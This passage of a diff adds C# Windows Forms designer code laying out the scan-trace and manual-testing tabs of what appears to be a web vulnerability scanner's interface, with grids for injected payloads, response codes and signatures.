System.Drawing.Point(4, 22); + this.ASTraceTab.Margin = new System.Windows.Forms.Padding(0); + this.ASTraceTab.Name = "ASTraceTab"; + this.ASTraceTab.Size = new System.Drawing.Size(697, 485); + this.ASTraceTab.TabIndex = 2; + this.ASTraceTab.Text = " Scan Trace "; + this.ASTraceTab.UseVisualStyleBackColor = true; + // + // ScanTraceBaseSplit + // + this.ScanTraceBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanTraceBaseSplit.Location = new System.Drawing.Point(0, 0); + this.ScanTraceBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.ScanTraceBaseSplit.Name = "ScanTraceBaseSplit"; + this.ScanTraceBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ScanTraceBaseSplit.Panel1 + // + this.ScanTraceBaseSplit.Panel1.Controls.Add(this.ScanTraceTopSplit); + // + // ScanTraceBaseSplit.Panel2 + // + this.ScanTraceBaseSplit.Panel2.Controls.Add(this.ScanTraceBottomSplit); + this.ScanTraceBaseSplit.Size = new System.Drawing.Size(697, 485); + this.ScanTraceBaseSplit.SplitterDistance = 191; + this.ScanTraceBaseSplit.TabIndex = 1; + // + // ScanTraceTopSplit + // + this.ScanTraceTopSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanTraceTopSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.ScanTraceTopSplit.IsSplitterFixed = true; + this.ScanTraceTopSplit.Location = new System.Drawing.Point(0, 0); + this.ScanTraceTopSplit.Margin = new System.Windows.Forms.Padding(0); + this.ScanTraceTopSplit.Name = "ScanTraceTopSplit"; + this.ScanTraceTopSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ScanTraceTopSplit.Panel1 + // + this.ScanTraceTopSplit.Panel1.Controls.Add(this.LaunchPayloadEffectAnalyzerBtn); + this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceStatusLbl); + this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceBackFourBtn); + this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceStatLbl); + this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceBackTwoBtn); + this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceFrontFourBtn); + this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceFrontOneBtn); + this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceBackOneBtn); + this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceBackThreeBtn); + this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceFrontThreeBtn); + this.ScanTraceTopSplit.Panel1.Controls.Add(this.ScanTraceFrontTwoBtn); + // + // ScanTraceTopSplit.Panel2 + // + this.ScanTraceTopSplit.Panel2.Controls.Add(this.ScanTraceGrid); + this.ScanTraceTopSplit.Size = new System.Drawing.Size(697, 191); + this.ScanTraceTopSplit.SplitterDistance = 66; + this.ScanTraceTopSplit.SplitterWidth = 2; + this.ScanTraceTopSplit.TabIndex = 18; + // + // LaunchPayloadEffectAnalyzerBtn + // + this.LaunchPayloadEffectAnalyzerBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.LaunchPayloadEffectAnalyzerBtn.Location = new System.Drawing.Point(516, 36); + this.LaunchPayloadEffectAnalyzerBtn.Name = "LaunchPayloadEffectAnalyzerBtn"; + this.LaunchPayloadEffectAnalyzerBtn.Size = new System.Drawing.Size(178, 20); + this.LaunchPayloadEffectAnalyzerBtn.TabIndex = 18; + this.LaunchPayloadEffectAnalyzerBtn.Text = "Launch Payload Effect Analyzer"; + this.LaunchPayloadEffectAnalyzerBtn.UseVisualStyleBackColor = true; + this.LaunchPayloadEffectAnalyzerBtn.Click += new System.EventHandler(this.LaunchPayloadEffectAnalyzerBtn_Click); + // + // ScanTraceStatusLbl + // + this.ScanTraceStatusLbl.AutoSize = true; + this.ScanTraceStatusLbl.Location = new System.Drawing.Point(8, 36); + this.ScanTraceStatusLbl.Name = "ScanTraceStatusLbl"; + this.ScanTraceStatusLbl.Size = new System.Drawing.Size(115, 13); + this.ScanTraceStatusLbl.TabIndex = 17; + this.ScanTraceStatusLbl.Text = " "; + // + // ScanTraceBackFourBtn + // + this.ScanTraceBackFourBtn.Location = new System.Drawing.Point(6, 5); + this.ScanTraceBackFourBtn.Name = "ScanTraceBackFourBtn"; + this.ScanTraceBackFourBtn.Size = new System.Drawing.Size(55, 20); + this.ScanTraceBackFourBtn.TabIndex = 1; + this.ScanTraceBackFourBtn.Text = "<<<<"; + this.ScanTraceBackFourBtn.UseVisualStyleBackColor = true; + this.ScanTraceBackFourBtn.Click += new System.EventHandler(this.ScanTraceBackFourBtn_Click); + // + // ScanTraceStatLbl + // + this.ScanTraceStatLbl.AutoSize = true; + this.ScanTraceStatLbl.Location = new System.Drawing.Point(247, 9); + this.ScanTraceStatLbl.Name = "ScanTraceStatLbl"; + this.ScanTraceStatLbl.Size = new System.Drawing.Size(148, 13); + this.ScanTraceStatLbl.TabIndex = 16; + this.ScanTraceStatLbl.Text = "Showing 0 - 0 of Scan Traces"; + // + // ScanTraceBackTwoBtn + // + this.ScanTraceBackTwoBtn.Location = new System.Drawing.Point(128, 5); + this.ScanTraceBackTwoBtn.Name = "ScanTraceBackTwoBtn"; + this.ScanTraceBackTwoBtn.Size = new System.Drawing.Size(55, 20); + this.ScanTraceBackTwoBtn.TabIndex = 10; + this.ScanTraceBackTwoBtn.Text = "<<"; + this.ScanTraceBackTwoBtn.UseVisualStyleBackColor = true; + this.ScanTraceBackTwoBtn.Click += new System.EventHandler(this.ScanTraceBackTwoBtn_Click); + // + // ScanTraceFrontFourBtn + // + this.ScanTraceFrontFourBtn.Location = new System.Drawing.Point(638, 5); + this.ScanTraceFrontFourBtn.Name = "ScanTraceFrontFourBtn"; + this.ScanTraceFrontFourBtn.Size = new System.Drawing.Size(55, 20); + this.ScanTraceFrontFourBtn.TabIndex = 15; + this.ScanTraceFrontFourBtn.Text = ">>>>"; + this.ScanTraceFrontFourBtn.UseVisualStyleBackColor = true; + this.ScanTraceFrontFourBtn.Click += new System.EventHandler(this.ScanTraceFrontFourBtn_Click); + // + // ScanTraceFrontOneBtn + // + this.ScanTraceFrontOneBtn.Location = new System.Drawing.Point(455, 5); + this.ScanTraceFrontOneBtn.Name = "ScanTraceFrontOneBtn"; + this.ScanTraceFrontOneBtn.Size = new System.Drawing.Size(55, 20); + this.ScanTraceFrontOneBtn.TabIndex = 12; + this.ScanTraceFrontOneBtn.Text = ">"; + this.ScanTraceFrontOneBtn.UseVisualStyleBackColor = true; + this.ScanTraceFrontOneBtn.Click += new System.EventHandler(this.ScanTraceFrontOneBtn_Click); + // + // ScanTraceBackOneBtn + // + this.ScanTraceBackOneBtn.Location = new System.Drawing.Point(189, 5); + this.ScanTraceBackOneBtn.Name = "ScanTraceBackOneBtn"; + this.ScanTraceBackOneBtn.Size = new System.Drawing.Size(55, 20); + this.ScanTraceBackOneBtn.TabIndex = 11; + this.ScanTraceBackOneBtn.Text = "<"; + this.ScanTraceBackOneBtn.UseVisualStyleBackColor = true; + this.ScanTraceBackOneBtn.Click += new System.EventHandler(this.ScanTraceBackOneBtn_Click); + // + // ScanTraceBackThreeBtn + // + this.ScanTraceBackThreeBtn.Location = new System.Drawing.Point(67, 5); + this.ScanTraceBackThreeBtn.Name = "ScanTraceBackThreeBtn"; + this.ScanTraceBackThreeBtn.Size = new System.Drawing.Size(55, 20); + this.ScanTraceBackThreeBtn.TabIndex = 9; + this.ScanTraceBackThreeBtn.Text = "<<<"; + this.ScanTraceBackThreeBtn.UseVisualStyleBackColor = true; + this.ScanTraceBackThreeBtn.Click += new System.EventHandler(this.ScanTraceBackThreeBtn_Click); + // + // ScanTraceFrontThreeBtn + // + this.ScanTraceFrontThreeBtn.Location = new System.Drawing.Point(577, 5); + this.ScanTraceFrontThreeBtn.Name = "ScanTraceFrontThreeBtn"; + this.ScanTraceFrontThreeBtn.Size = new System.Drawing.Size(55, 20); + this.ScanTraceFrontThreeBtn.TabIndex = 14; + this.ScanTraceFrontThreeBtn.Text = ">>>"; + this.ScanTraceFrontThreeBtn.UseVisualStyleBackColor = true; + this.ScanTraceFrontThreeBtn.Click += new System.EventHandler(this.ScanTraceFrontThreeBtn_Click); + // + // ScanTraceFrontTwoBtn + // + this.ScanTraceFrontTwoBtn.Location = new System.Drawing.Point(516, 5); + this.ScanTraceFrontTwoBtn.Name = "ScanTraceFrontTwoBtn"; + this.ScanTraceFrontTwoBtn.Size = new System.Drawing.Size(55, 20); + this.ScanTraceFrontTwoBtn.TabIndex = 13; + this.ScanTraceFrontTwoBtn.Text = ">>"; + this.ScanTraceFrontTwoBtn.UseVisualStyleBackColor = true; + this.ScanTraceFrontTwoBtn.Click += new System.EventHandler(this.ScanTraceFrontTwoBtn_Click); + // + // ScanTraceGrid + // + this.ScanTraceGrid.AllowUserToAddRows = false; + this.ScanTraceGrid.AllowUserToDeleteRows = false; + this.ScanTraceGrid.AllowUserToOrderColumns = true; + this.ScanTraceGrid.AllowUserToResizeRows = false; + this.ScanTraceGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.ScanTraceGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle32.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle32.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle32.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle32.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle32.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle32.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle32.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ScanTraceGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle32; + this.ScanTraceGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.ScanTraceGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn32, + this.dataGridViewTextBoxColumn35, + this.dataGridViewTextBoxColumn36, + this.Column2, + this.dataGridViewTextBoxColumn37, + this.Column3}); + this.ScanTraceGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanTraceGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ScanTraceGrid.GridColor = System.Drawing.Color.White; + this.ScanTraceGrid.Location = new System.Drawing.Point(0, 0); + this.ScanTraceGrid.Margin = new System.Windows.Forms.Padding(0); + this.ScanTraceGrid.MultiSelect = false; + this.ScanTraceGrid.Name = "ScanTraceGrid"; + this.ScanTraceGrid.ReadOnly = true; + this.ScanTraceGrid.RowHeadersVisible = false; + this.ScanTraceGrid.RowHeadersWidth = 10; + this.ScanTraceGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanTraceGrid.Size = new System.Drawing.Size(697, 123); + this.ScanTraceGrid.TabIndex = 8; + this.ScanTraceGrid.SelectionChanged += new System.EventHandler(this.ScanTraceGrid_SelectionChanged); + // + // dataGridViewTextBoxColumn32 + // + this.dataGridViewTextBoxColumn32.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn32.HeaderText = "ID"; + this.dataGridViewTextBoxColumn32.MinimumWidth = 50; + this.dataGridViewTextBoxColumn32.Name = "dataGridViewTextBoxColumn32"; + this.dataGridViewTextBoxColumn32.ReadOnly = true; + this.dataGridViewTextBoxColumn32.Width = 50; + // + // dataGridViewTextBoxColumn35 + // + this.dataGridViewTextBoxColumn35.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn35.HeaderText = "SCAN ID"; + this.dataGridViewTextBoxColumn35.MinimumWidth = 50; + this.dataGridViewTextBoxColumn35.Name = "dataGridViewTextBoxColumn35"; + this.dataGridViewTextBoxColumn35.ReadOnly = true; + this.dataGridViewTextBoxColumn35.Width = 70; + // + // dataGridViewTextBoxColumn36 + // + this.dataGridViewTextBoxColumn36.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn36.HeaderText = "CHECK"; + this.dataGridViewTextBoxColumn36.MinimumWidth = 50; + this.dataGridViewTextBoxColumn36.Name = "dataGridViewTextBoxColumn36"; + this.dataGridViewTextBoxColumn36.ReadOnly = true; + this.dataGridViewTextBoxColumn36.Width = 90; + // + // Column2 + // + this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.Column2.HeaderText = "SECTION"; + this.Column2.MinimumWidth = 50; + this.Column2.Name = "Column2"; + this.Column2.ReadOnly = true; + this.Column2.Width = 90; + // + // dataGridViewTextBoxColumn37 + // + this.dataGridViewTextBoxColumn37.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn37.HeaderText = "PARAMETER"; + this.dataGridViewTextBoxColumn37.MinimumWidth = 100; + this.dataGridViewTextBoxColumn37.Name = "dataGridViewTextBoxColumn37"; + this.dataGridViewTextBoxColumn37.ReadOnly = true; + // + // Column3 + // + this.Column3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.Column3.HeaderText = "TITLE"; + this.Column3.MinimumWidth = 150; + this.Column3.Name = "Column3"; + this.Column3.ReadOnly = true; + // + // ScanTraceBottomSplit + // + this.ScanTraceBottomSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanTraceBottomSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.ScanTraceBottomSplit.IsSplitterFixed = true; + this.ScanTraceBottomSplit.Location = new System.Drawing.Point(0, 0); + this.ScanTraceBottomSplit.Margin = new System.Windows.Forms.Padding(0); + this.ScanTraceBottomSplit.Name = "ScanTraceBottomSplit"; + this.ScanTraceBottomSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ScanTraceBottomSplit.Panel1 + // + this.ScanTraceBottomSplit.Panel1.Controls.Add(this.label4); + this.ScanTraceBottomSplit.Panel1.Controls.Add(this.LoadSelectedTraceBtn); + // + // ScanTraceBottomSplit.Panel2 + // + this.ScanTraceBottomSplit.Panel2.Controls.Add(this.ScanTraceTabs); + this.ScanTraceBottomSplit.Size = new System.Drawing.Size(697, 290); + this.ScanTraceBottomSplit.SplitterDistance = 33; + this.ScanTraceBottomSplit.SplitterWidth = 2; + this.ScanTraceBottomSplit.TabIndex = 2; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(5, 11); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(522, 13); + this.label4.TabIndex = 18; + this.label4.Text = "See how the Scanner checked for vulnerability below. For more analysis load this " + + "trace in the Trace Viewer ->"; + // + // LoadSelectedTraceBtn + // + this.LoadSelectedTraceBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.LoadSelectedTraceBtn.Enabled = false; + this.LoadSelectedTraceBtn.Location = new System.Drawing.Point(552, 7); + this.LoadSelectedTraceBtn.Name = "LoadSelectedTraceBtn"; + this.LoadSelectedTraceBtn.Size = new System.Drawing.Size(137, 20); + this.LoadSelectedTraceBtn.TabIndex = 17; + this.LoadSelectedTraceBtn.Text = "Load this Trace in Viewer"; + this.LoadSelectedTraceBtn.UseVisualStyleBackColor = true; + this.LoadSelectedTraceBtn.Click += new System.EventHandler(this.LoadSelectedTraceBtn_Click); + // + // ScanTraceTabs + // + this.ScanTraceTabs.Controls.Add(this.ScanTraceOverviewTab); + this.ScanTraceTabs.Controls.Add(this.ScanTraceDetailedInfoTab); + this.ScanTraceTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanTraceTabs.Location = new System.Drawing.Point(0, 0); + this.ScanTraceTabs.Margin = new System.Windows.Forms.Padding(0); + this.ScanTraceTabs.Name = "ScanTraceTabs"; + this.ScanTraceTabs.Padding = new System.Drawing.Point(0, 0); + this.ScanTraceTabs.SelectedIndex = 0; + this.ScanTraceTabs.Size = new System.Drawing.Size(697, 255); + this.ScanTraceTabs.TabIndex = 1; + // + // ScanTraceOverviewTab + // + this.ScanTraceOverviewTab.Controls.Add(this.ScanTraceOverviewGrid); + this.ScanTraceOverviewTab.Location = new System.Drawing.Point(4, 22); + this.ScanTraceOverviewTab.Margin = new System.Windows.Forms.Padding(0); + this.ScanTraceOverviewTab.Name = "ScanTraceOverviewTab"; + this.ScanTraceOverviewTab.Size = new System.Drawing.Size(689, 229); + this.ScanTraceOverviewTab.TabIndex = 0; + this.ScanTraceOverviewTab.Text = " Overview "; + this.ScanTraceOverviewTab.UseVisualStyleBackColor = true; + // + // ScanTraceOverviewGrid + // + this.ScanTraceOverviewGrid.AllowUserToAddRows = false; + this.ScanTraceOverviewGrid.AllowUserToDeleteRows = false; + this.ScanTraceOverviewGrid.AllowUserToOrderColumns = true; + this.ScanTraceOverviewGrid.AllowUserToResizeRows = false; + this.ScanTraceOverviewGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.ScanTraceOverviewGrid.BackgroundColor = System.Drawing.Color.White; + this.ScanTraceOverviewGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle33.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle33.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle33.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle33.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle33.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle33.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle33.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ScanTraceOverviewGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle33; + this.ScanTraceOverviewGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.ScanTraceOverviewGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.Column4, + this.dataGridViewTextBoxColumn17, + this.dataGridViewTextBoxColumn18, + this.dataGridViewTextBoxColumn19, + this.dataGridViewTextBoxColumn20, + this.dataGridViewTextBoxColumn21, + this.Column5, + this.dataGridViewTextBoxColumn22}); + this.ScanTraceOverviewGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanTraceOverviewGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ScanTraceOverviewGrid.GridColor = System.Drawing.Color.White; + this.ScanTraceOverviewGrid.Location = new System.Drawing.Point(0, 0); + this.ScanTraceOverviewGrid.Margin = new System.Windows.Forms.Padding(0); + this.ScanTraceOverviewGrid.MultiSelect = false; + this.ScanTraceOverviewGrid.Name = "ScanTraceOverviewGrid"; + this.ScanTraceOverviewGrid.ReadOnly = true; + this.ScanTraceOverviewGrid.RowHeadersVisible = false; + this.ScanTraceOverviewGrid.RowHeadersWidth = 10; + this.ScanTraceOverviewGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanTraceOverviewGrid.Size = new System.Drawing.Size(689, 229); + this.ScanTraceOverviewGrid.TabIndex = 9; + // + // Column4 + // + this.Column4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.Column4.HeaderText = "ID"; + this.Column4.MinimumWidth = 30; + this.Column4.Name = "Column4"; + this.Column4.ReadOnly = true; + this.Column4.Width = 30; + // + // dataGridViewTextBoxColumn17 + // + this.dataGridViewTextBoxColumn17.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn17.HeaderText = "Log ID"; + this.dataGridViewTextBoxColumn17.MinimumWidth = 60; + this.dataGridViewTextBoxColumn17.Name = "dataGridViewTextBoxColumn17"; + this.dataGridViewTextBoxColumn17.ReadOnly = true; + this.dataGridViewTextBoxColumn17.Width = 64; + // + // dataGridViewTextBoxColumn18 + // + this.dataGridViewTextBoxColumn18.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn18.HeaderText = "Injected Payload"; + this.dataGridViewTextBoxColumn18.MinimumWidth = 200; + this.dataGridViewTextBoxColumn18.Name = "dataGridViewTextBoxColumn18"; + this.dataGridViewTextBoxColumn18.ReadOnly = true; + this.dataGridViewTextBoxColumn18.Width = 200; + // + // dataGridViewTextBoxColumn19 + // + this.dataGridViewTextBoxColumn19.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + dataGridViewCellStyle34.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.dataGridViewTextBoxColumn19.DefaultCellStyle = dataGridViewCellStyle34; + this.dataGridViewTextBoxColumn19.HeaderText = "Code"; + this.dataGridViewTextBoxColumn19.MinimumWidth = 50; + this.dataGridViewTextBoxColumn19.Name = "dataGridViewTextBoxColumn19"; + this.dataGridViewTextBoxColumn19.ReadOnly = true; + this.dataGridViewTextBoxColumn19.Width = 50; + // + // dataGridViewTextBoxColumn20 + // + this.dataGridViewTextBoxColumn20.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + dataGridViewCellStyle35.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.dataGridViewTextBoxColumn20.DefaultCellStyle = dataGridViewCellStyle35; + this.dataGridViewTextBoxColumn20.HeaderText = "Body Length"; + this.dataGridViewTextBoxColumn20.MinimumWidth = 80; + this.dataGridViewTextBoxColumn20.Name = "dataGridViewTextBoxColumn20"; + this.dataGridViewTextBoxColumn20.ReadOnly = true; + this.dataGridViewTextBoxColumn20.Width = 92; + // + // dataGridViewTextBoxColumn21 + // + this.dataGridViewTextBoxColumn21.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + dataGridViewCellStyle36.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.dataGridViewTextBoxColumn21.DefaultCellStyle = dataGridViewCellStyle36; + this.dataGridViewTextBoxColumn21.HeaderText = "MIME Type"; + this.dataGridViewTextBoxColumn21.MinimumWidth = 80; + this.dataGridViewTextBoxColumn21.Name = "dataGridViewTextBoxColumn21"; + this.dataGridViewTextBoxColumn21.ReadOnly = true; + this.dataGridViewTextBoxColumn21.Width = 87; + // + // Column5 + // + this.Column5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + dataGridViewCellStyle37.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.Column5.DefaultCellStyle = dataGridViewCellStyle37; + this.Column5.HeaderText = "Time(ms)"; + this.Column5.MinimumWidth = 50; + this.Column5.Name = "Column5"; + this.Column5.ReadOnly = true; + this.Column5.Width = 50; + // + // dataGridViewTextBoxColumn22 + // + this.dataGridViewTextBoxColumn22.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + dataGridViewCellStyle38.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.dataGridViewTextBoxColumn22.DefaultCellStyle = dataGridViewCellStyle38; + this.dataGridViewTextBoxColumn22.HeaderText = "Response Signature"; + this.dataGridViewTextBoxColumn22.MinimumWidth = 200; + this.dataGridViewTextBoxColumn22.Name = "dataGridViewTextBoxColumn22"; + this.dataGridViewTextBoxColumn22.ReadOnly = true; + this.dataGridViewTextBoxColumn22.Width = 200; + // + // ScanTraceDetailedInfoTab + // + this.ScanTraceDetailedInfoTab.Controls.Add(this.ScanTraceMsgRTB); + this.ScanTraceDetailedInfoTab.Location = new System.Drawing.Point(4, 22); + this.ScanTraceDetailedInfoTab.Margin = new System.Windows.Forms.Padding(0); + this.ScanTraceDetailedInfoTab.Name = "ScanTraceDetailedInfoTab"; + this.ScanTraceDetailedInfoTab.Size = new System.Drawing.Size(689, 229); + this.ScanTraceDetailedInfoTab.TabIndex = 1; + this.ScanTraceDetailedInfoTab.Text = " Detailed Info "; + this.ScanTraceDetailedInfoTab.UseVisualStyleBackColor = true; + // + // ScanTraceMsgRTB + // + this.ScanTraceMsgRTB.BackColor = System.Drawing.Color.White; + this.ScanTraceMsgRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanTraceMsgRTB.DetectUrls = false; + this.ScanTraceMsgRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanTraceMsgRTB.Location = new System.Drawing.Point(0, 0); + this.ScanTraceMsgRTB.Name = "ScanTraceMsgRTB"; + this.ScanTraceMsgRTB.ReadOnly = true; + this.ScanTraceMsgRTB.Size = new System.Drawing.Size(689, 229); + this.ScanTraceMsgRTB.TabIndex = 0; + this.ScanTraceMsgRTB.Text = ""; + // + // mt_manual + // + this.mt_manual.Controls.Add(this.MTFirstBaseSplit); + this.mt_manual.Location = new System.Drawing.Point(4, 22); + this.mt_manual.Margin = new System.Windows.Forms.Padding(0); + this.mt_manual.Name = "mt_manual"; + this.mt_manual.Size = new System.Drawing.Size(705, 511); + this.mt_manual.TabIndex = 2; + this.mt_manual.Text = " Manual Testing "; + this.mt_manual.UseVisualStyleBackColor = true; + // + // MTFirstBaseSplit + // + this.MTFirstBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.MTFirstBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.MTFirstBaseSplit.IsSplitterFixed = true; + this.MTFirstBaseSplit.Location = new System.Drawing.Point(0, 0); + this.MTFirstBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.MTFirstBaseSplit.Name = "MTFirstBaseSplit"; + this.MTFirstBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // MTFirstBaseSplit.Panel1 + // + this.MTFirstBaseSplit.Panel1.Controls.Add(this.MTBaseTopSplit); + // + // MTFirstBaseSplit.Panel2 + // + this.MTFirstBaseSplit.Panel2.Controls.Add(this.MTBaseSplit); + this.MTFirstBaseSplit.Size = new System.Drawing.Size(705, 511); + this.MTFirstBaseSplit.SplitterDistance = 135; + this.MTFirstBaseSplit.SplitterWidth = 2; + this.MTFirstBaseSplit.TabIndex = 14; + // + // MTBaseTopSplit + // + this.MTBaseTopSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.MTBaseTopSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.MTBaseTopSplit.IsSplitterFixed = true; + this.MTBaseTopSplit.Location = new System.Drawing.Point(0, 0); + this.MTBaseTopSplit.Margin = new System.Windows.Forms.Padding(0); + this.MTBaseTopSplit.Name = "MTBaseTopSplit"; + this.MTBaseTopSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // MTBaseTopSplit.Panel1 + // + this.MTBaseTopSplit.Panel1.BackColor = System.Drawing.Color.LightSkyBlue; + this.MTBaseTopSplit.Panel1.Controls.Add(this.CreateNewTestRequestBtn); + this.MTBaseTopSplit.Panel1.Controls.Add(this.textBox2); + // + // MTBaseTopSplit.Panel2 + // + this.MTBaseTopSplit.Panel2.Controls.Add(this.TestGroupsLV); + this.MTBaseTopSplit.Panel2.Controls.Add(this.TestGroupsTitleTB); + this.MTBaseTopSplit.Size = new System.Drawing.Size(705, 135); + this.MTBaseTopSplit.SplitterDistance = 42; + this.MTBaseTopSplit.SplitterWidth = 2; + this.MTBaseTopSplit.TabIndex = 0; + // + // CreateNewTestRequestBtn + // + this.CreateNewTestRequestBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.CreateNewTestRequestBtn.Location = new System.Drawing.Point(573, 5); + this.CreateNewTestRequestBtn.Name = "CreateNewTestRequestBtn"; + this.CreateNewTestRequestBtn.Size = new System.Drawing.Size(126, 34); + this.CreateNewTestRequestBtn.TabIndex = 0; + this.CreateNewTestRequestBtn.Text = "Create New Request"; + this.CreateNewTestRequestBtn.UseVisualStyleBackColor = true; + this.CreateNewTestRequestBtn.Click += new System.EventHandler(this.CreateNewTestRequestBtn_Click); + // + // textBox2 + // + this.textBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox2.BackColor = System.Drawing.Color.LightSkyBlue; + this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox2.Location = new System.Drawing.Point(10, 6); + this.textBox2.Margin = new System.Windows.Forms.Padding(0); + this.textBox2.Multiline = true; + this.textBox2.Name = "textBox2"; + this.textBox2.ReadOnly = true; + this.textBox2.Size = new System.Drawing.Size(550, 28); + this.textBox2.TabIndex = 1; + this.textBox2.TabStop = false; + this.textBox2.Text = resources.GetString("textBox2.Text"); + // + // TestGroupsLV + // + this.TestGroupsLV.Activation = System.Windows.Forms.ItemActivation.OneClick; + this.TestGroupsLV.Anchor = 